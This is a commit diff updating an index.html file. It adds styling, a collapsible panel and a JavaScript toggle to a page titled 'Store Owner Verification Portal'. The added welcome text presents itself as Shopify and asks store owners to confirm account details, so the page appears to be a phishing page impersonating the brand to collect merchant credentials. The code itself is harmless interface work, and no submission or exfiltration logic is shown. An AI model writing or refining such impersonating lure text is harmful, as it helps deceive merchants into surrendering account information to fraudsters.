Sal-Joy commited on
Commit
2d2d9d4
·
verified ·
1 Parent(s): eee7a10

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +136 -0
index.html CHANGED
@@ -197,6 +197,104 @@
197
 
198
  .animate-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
199
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
200
  pre::-webkit-scrollbar { width: 6px; height: 6px; }
201
  pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; }
202
 
@@ -423,6 +521,28 @@
423
  </p>
424
  </div>
425
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
426
  <div class="glass-card p-8 space-y-6">
427
  <form id="stepOneForm" class="space-y-6">
428
  <div class="space-y-2">
@@ -619,6 +739,22 @@
619
  <script>
620
  lucide.createIcons();
621
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
622
  const stepOneForm = document.getElementById('stepOneForm');
623
  const verificationForm = document.getElementById('verificationForm');
624
  const landingView = document.getElementById('landingView');
 
197
 
198
  .animate-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
199
 
200
+ /* Collapsible Section Styles */
201
+ .collapsible-section {
202
+ background: linear-gradient(135deg, #e0f2fe 0%, #f0f9ff 100%);
203
+ border: 2px solid #0ea5e9;
204
+ border-radius: 1rem;
205
+ overflow: hidden;
206
+ transition: all 0.3s ease;
207
+ }
208
+
209
+ @media (prefers-color-scheme: dark) {
210
+ .collapsible-section {
211
+ background: linear-gradient(135deg, #0c4a6e 0%, #082f49 100%);
212
+ border: 2px solid #0284c7;
213
+ }
214
+ }
215
+
216
+ .collapsible-header {
217
+ padding: 1.25rem;
218
+ background: rgba(6, 182, 212, 0.1);
219
+ cursor: pointer;
220
+ display: flex;
221
+ align-items: center;
222
+ justify-content: space-between;
223
+ transition: all 0.3s ease;
224
+ user-select: none;
225
+ }
226
+
227
+ .collapsible-header:hover {
228
+ background: rgba(6, 182, 212, 0.15);
229
+ }
230
+
231
+ .collapsible-header-content {
232
+ display: flex;
233
+ align-items: center;
234
+ gap: 0.75rem;
235
+ }
236
+
237
+ .collapsible-title {
238
+ font-size: 1.125rem;
239
+ font-weight: 700;
240
+ color: #0369a1;
241
+ margin: 0;
242
+ }
243
+
244
+ @media (prefers-color-scheme: dark) {
245
+ .collapsible-title {
246
+ color: #06b6d4;
247
+ }
248
+ }
249
+
250
+ .collapsible-icon {
251
+ width: 1.5rem;
252
+ height: 1.5rem;
253
+ color: #0369a1;
254
+ transition: transform 0.3s ease;
255
+ flex-shrink: 0;
256
+ }
257
+
258
+ @media (prefers-color-scheme: dark) {
259
+ .collapsible-icon {
260
+ color: #06b6d4;
261
+ }
262
+ }
263
+
264
+ .collapsible-icon.expanded {
265
+ transform: rotate(180deg);
266
+ }
267
+
268
+ .collapsible-content {
269
+ max-height: 0;
270
+ overflow: hidden;
271
+ transition: max-height 0.4s ease, opacity 0.4s ease, padding 0.4s ease;
272
+ opacity: 0;
273
+ padding: 0 1.25rem;
274
+ }
275
+
276
+ .collapsible-content.expanded {
277
+ max-height: 800px;
278
+ opacity: 1;
279
+ padding: 1.25rem;
280
+ }
281
+
282
+ .collapsible-text {
283
+ color: var(--text-primary);
284
+ line-height: 1.8;
285
+ font-size: 0.95rem;
286
+ white-space: pre-wrap;
287
+ word-wrap: break-word;
288
+ }
289
+
290
+ .collapsible-text p {
291
+ margin-bottom: 0.75rem;
292
+ }
293
+
294
+ .collapsible-text p:last-child {
295
+ margin-bottom: 0;
296
+ }
297
+
298
  pre::-webkit-scrollbar { width: 6px; height: 6px; }
299
  pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; }
300
 
 
521
  </p>
522
  </div>
523
 
524
+ <!-- Collapsible Welcome Section -->
525
+ <div class="collapsible-section">
526
+ <div class="collapsible-header" onclick="toggleCollapsible(this)">
527
+ <div class="collapsible-header-content">
528
+ <i data-lucide="info" class="w-6 h-6 text-cyan-600 dark:text-cyan-400"></i>
529
+ <h2 class="collapsible-title">ℹ️ About This Portal</h2>
530
+ </div>
531
+ <i data-lucide="chevron-down" class="collapsible-icon"></i>
532
+ </div>
533
+ <div class="collapsible-content">
534
+ <div class="collapsible-text">Welcome to the Store Owner Verification Portal.
535
+
536
+ This portal has been established to securely confirm the identity of the registered store owner. The purpose of this verification process is to ensure that access and communications are being handled by the authorized account holder.
537
+
538
+ The information requested during this process is already associated with the store's official Shopify records. Only the registered store owner should be able to accurately provide and confirm these details. This step allows Shopify to properly match submitted information with existing account data and maintain the integrity and security of the store.
539
+
540
+ Please follow the instructions provided below to complete the verification process. Accurate responses are required to ensure successful authentication.
541
+
542
+ We appreciate your cooperation in helping maintain a secure and trusted platform.</div>
543
+ </div>
544
+ </div>
545
+
546
  <div class="glass-card p-8 space-y-6">
547
  <form id="stepOneForm" class="space-y-6">
548
  <div class="space-y-2">
 
739
  <script>
740
  lucide.createIcons();
741
 
742
+ // Collapsible Section Toggle Function
743
+ function toggleCollapsible(headerElement) {
744
+ const content = headerElement.nextElementSibling;
745
+ const icon = headerElement.querySelector('.collapsible-icon');
746
+
747
+ if (content.classList.contains('expanded')) {
748
+ content.classList.remove('expanded');
749
+ icon.classList.remove('expanded');
750
+ } else {
751
+ content.classList.add('expanded');
752
+ icon.classList.add('expanded');
753
+ // Re-render lucide icons if needed
754
+ setTimeout(() => lucide.createIcons(), 50);
755
+ }
756
+ }
757
+
758
  const stepOneForm = document.getElementById('stepOneForm');
759
  const verificationForm = document.getElementById('verificationForm');
760
  const landingView = document.getElementById('landingView');